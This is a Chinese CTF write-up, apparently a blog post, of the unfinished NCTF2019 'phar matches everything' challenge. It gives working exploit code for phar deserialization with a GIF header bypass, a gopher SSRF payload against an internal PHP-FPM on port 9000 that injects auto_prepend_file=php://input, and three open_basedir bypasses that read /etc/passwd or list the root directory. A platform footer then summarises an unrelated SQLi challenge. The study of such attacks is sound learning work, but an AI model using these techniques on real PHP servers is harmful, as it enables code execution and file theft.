[NCTF2019]phar matches everything

写在前面:这篇文章并没有把这道题目做出来,一直找不到内网提供PHP-FPM的主机ip,就一直卡在这个地方,目前自己的能力不够,还不能解决这道题;现在将这篇做题的记录发出来,记录学习过程,希望将来回过头来再做这道题的时候能得心应手

第一部分 phar反序列化+文件头和文件名检测绕过

buu平台上给的github源码链接失效了,直接看的wp,一个简单的pop链构造,然后利用phar反序列化

在这里插入图片描述

exp.php

<?php

class Easytest{
	protected $test = '1';
}
class Main{
	public $url="http://10.128.253.13";
}
//读/etc/hosts 发现不了内网ip
//需要读 /proc/net/arp
$a = new Easytest();
echo urlencode(serialize($a));
$b = new Main();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->addFromString("text.txt","text");
$phar->setMetadata($b);
$phar->stopBuffering();
rename("phar.phar","phar.gif");

第二部分 SSRF + gopher协议打fpm

1、首先了解fpm是什么,参考p神文章

  • FastCGI record 类似HTTP协议,作用对象是服务器的中间件与后端语言进行通信
  • FPM(FastCGI Process Manager 叫做FastCGI 进程管理器), FPM按照fastcgi的协议将TCP流解析成真正的数据
  • Nignx 会把用户请求变成 key-value对(环境变量),交付给FPM。php-fpm拿到fast-cgi的数据包,进行解析,执行 SCRIPT_FILENAME所指的文件

2、PHP-FPM未授权访问漏洞

  • security.limit_extensions配置(php_fpm),这个字段限定了只有某些特定文件才能被执行,默认是.php
  • 由于第一条的那个配置,想要利用未授权访问漏洞,必须找一个服务器上存在php文件,通过 find / -name "*.php"

3、PHP-FPM任意代码执行

​ 3.1、涉及到php.ini中两个有意思的配置

  • auto_prepend_file 用法:在执行目标文件之前,先包含这个字段指向的文件,如果设置为php://input,等于执行任何php文件前,都要包含post的内容,因此可以将待执行的代码放在body里
  • auto_append_file 用法:在执行目标完成之后,包含这个字段指向的文件

​ 3.2、涉及到PHP-FPM的两个环境变量,

  • PHP-VALUE 设置的模式包括PHP_INI_USERPHP_INI_ALL的选项

  • PHP-ADMIN-VALUE 除了disable_functions之外的所以选项

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

这个地方是个坑,还没找到内网的ip

找到开启fpm的ip,使用gopher脚本生成payload

python gopher.py 内网ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u

第三部分 绕过open_basedir的限制

1、首先open_basedir是什么

  • 字面意思,开放的基本路径,作为php.ini中的一个配置选项,将用户的活动区域限定在指定目录

  • open_basedir限制的是前缀,而不是目录名,在以下的文件夹和文件都可以访问

  • 若要限制仅在指定目录,需要用斜杠结束目录

    phpinfo中的core部分

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-397doUZ0-1650384937211)(images/Phar反序列化/image-20220419232020708.png)]

2、如何绕过open_basedir的限制

2.1、利用DirectoryIterator + Glob协议直接列举目录

代码如下:

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

2.2、利用ini_set读取文件内容

代码如下:

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

//这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止

2.3、软链接绕过

代码如下:

<?php
        mkdir("c");
        chdir("c");
        mkdir("d");
        chdir("d");
        chdir("..");
        chdir("..");
        symlink("c/d","tmplink");
        symlink("tmplink/../../1.txt","exploit");
        unlink("tmplink");
        mkdir("tmplink");
        echo file_get_contents("http://localhost/exploit");
?>
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值